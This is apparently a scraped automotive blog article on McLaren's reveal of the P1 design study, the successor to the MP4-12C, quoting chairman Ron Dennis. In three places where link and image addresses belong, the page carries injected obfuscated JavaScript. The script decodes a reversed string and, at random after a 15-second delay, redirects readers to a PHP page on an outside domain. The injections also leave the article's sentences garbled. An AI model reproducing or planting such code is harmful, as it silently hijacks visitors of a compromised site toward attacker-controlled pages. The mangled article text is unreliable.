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This standing before you is the next generation.
Over the course of the past few weeks, McLaren Automotive has thrown the automotive world $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mclaren-automotive-the-next-exciting-chapter/” target=”_blank”>a teaser here and a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/vision/mclaren-p12-video-teaser-breathing-life/” target=”_blank”>video clip there about their newest creation, from which assumption and never confirmation was gleamed.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/09/600348_69128-02_McLarenP1_Paris2012_MRes.jpg” alt=”” width=”728″ height=”546″ />
Now though, it’s official: this is the P1, the follow-up to the McLaren MP4-12C and the ‘next exciting chapter’ for McLaren Automotive which will be previewed at this month’s Paris Motor Show.
Now, apologies to knock you from Cloud 9 so quickly, but this ‘design study’ is not the full monty production version that will get the go ahead next year. What we can tell you though is that the new production model has an enormous mountain to climb if it is to become, as McLaren hopes, ‘the best driver’s car in the world on road and track’.
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And how pray will it manage that against a supercar market already heaving at the seams with notable rivals? We’ll let McLaren Executive Chairman and former-Formula One Team Principal Ron Dennis take that one:
“P1 will be the result of 50 years of racing and road car heritage. Twenty years ago we raised the supercar performance bar with the McLaren F1 and our goal with P1 is to redefine it once again.”